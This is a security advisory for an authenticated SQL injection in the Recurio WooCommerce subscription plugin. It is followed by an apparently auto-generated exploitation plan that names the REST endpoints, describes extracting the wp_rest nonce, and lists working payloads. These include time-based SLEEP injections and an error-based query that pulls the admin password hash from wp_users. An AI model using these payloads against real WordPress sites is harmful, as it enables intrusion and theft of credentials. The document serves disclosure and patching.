Recurio <= 1.1.3 - Authenticated (Shop Manager+) SQL Injection via 'data' Parameter
Description
The Recurio – Ultimate Subscription for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'data' parameter in all versions up to, and including, 1.1.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.1.4
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-12936**, an authenticated SQL injection vulnerability in the **Recurio – Ultimate Subscription for WooCommerce** plugin. The vulnerability exists in the handling of the `data` parameter within the plugin's REST API endpoints. ### 1. Vulnerability S…
Show full research plan
This exploitation research plan targets CVE-2026-12936, an authenticated SQL injection vulnerability in the Recurio – Ultimate Subscription for WooCommerce plugin. The vulnerability exists in the handling of the data parameter within the plugin's REST API endpoints.
1. Vulnerability Summary
- Vulnerability: Authenticated (Shop Manager+) SQL Injection via the
dataparameter. - Location: Likely within
includes/api/Subscriptions.phporincludes/api/Plans.php(REST API handlers). - Cause: The plugin accepts a
dataparameter (often used for filtering or reporting) and interpolates it directly into a SQL query string without using$wpdb->prepare()or proper escaping. This allows an authenticated attacker with "Shop Manager" privileges (who possesses themanage_woocommercecapability) to append arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
GET /wp-json/recurio/v1/subscriptionsorGET /wp-json/recurio/v1/subscriptions/statistics. - Vulnerable Parameter:
data. - Authentication Required: Logged-in user with Shop Manager role or higher (must have
manage_woocommercecapability). - Nonce Requirements: Requires a valid
wp_restnonce passed in theX-WP-Nonceheader.
3. Code Flow
- The
Recurio\Api\Subscriptionsclass (or similar) registers REST routes in therecurio/v1namespace (seeincludes/api/Subscriptions.php). - The
get_subscriptionsorget_statisticsmethod is invoked when the endpoint is accessed. - The method retrieves the
dataparameter using$request->get_param('data'). - The parameter is used to build a
$whereclause or appended directly to a query string. - The query is executed via
$wpdb->get_results()or$wpdb->get_var(). - Because the
dataparameter is interpolated before the query is finalized, the attacker's input breaks the SQL syntax and injects new logic.
4. Nonce Acquisition Strategy
The REST API requires a wp_rest nonce for authentication. This nonce is generated by the plugin and localized for the Vue.js admin application.
- Setup Page: Create a page with the Recurio dashboard functionality to ensure scripts are enqueued (though any admin page might work if the plugin enqueues globally).
- Navigation: Log in as a Shop Manager and navigate to the Recurio admin menu:
/wp-admin/admin.php?page=recurio. - Extraction: The nonce is stored in the global
recurioDataobject.- JS Variable:
window.recurioData - Nonce Key:
nonce - Action: Use
browser_eval("window.recurioData?.nonce")to retrieve the value.
- JS Variable:
5. Exploitation Strategy
We will use a time-based SQL injection payload to confirm the vulnerability.
- Step 1: Test Data Setup. Use WP-CLI to ensure at least one subscription exists so the query has rows to process.
- Step 2: Authenticated Request. Send a request to the REST API with the
dataparameter containing the payload.
HTTP Request (Conceptual):
GET /wp-json/recurio/v1/subscriptions?data=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a) HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [SHOP_MANAGER_COOKIES]
Payloads to Test:
- Time-Based (Simple):
data=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Time-Based (Breaking out of string):
data=') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1 - Error-Based (if debug enabled):
data=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1)
6. Test Data Setup
- User Creation:
wp user create shopmanager manager@example.com --role=shop_manager --user_pass=password123 - Sample Data: Ensure the Recurio tables are populated.
# Create a product and enable Recurio (meta key from Admin.php) POST_ID=$(wp post create --post_type=product --post_title="Subscription Product" --post_status=publish --porcelain) wp post meta add $POST_ID _recurio_subscription_enabled "yes"
7. Expected Results
- Vulnerable: The HTTP response will be delayed by approximately 5 seconds.
- Not Vulnerable: The response will return immediately (likely with a 200 OK or 400 Bad Request if the parameter is rejected).
8. Verification Steps
After confirming with time-based injection, verify the ability to extract data:
- Attempt to extract the database version:
data=1 AND (SELECT 1 FROM (SELECT(SLEEP(IF(VERSION() LIKE '8%', 5, 0))))a) - Check for row existence in the
wp_userstable:data=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE (SELECT user_login FROM wp_users WHERE ID=1)='admin')
9. Alternative Approaches
If the subscriptions endpoint is not vulnerable, test other REST routes registered in includes/api/Plans.php or includes/api/Subscriptions.php:
/wp-json/recurio/v1/plans/wp-json/recurio/v1/subscriptions/statistics/wp-json/recurio/v1/customers/statistics/wp-json/recurio/v1/products(Check if it accepts adataparameter for filtering categories/tags).
Note: If the injection point is inside an ORDER BY or LIMIT clause, prepare() cannot be used, making these sections highly prone to this specific vulnerability description ("lack of sufficient preparation"). Check if data is used to specify sorting.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.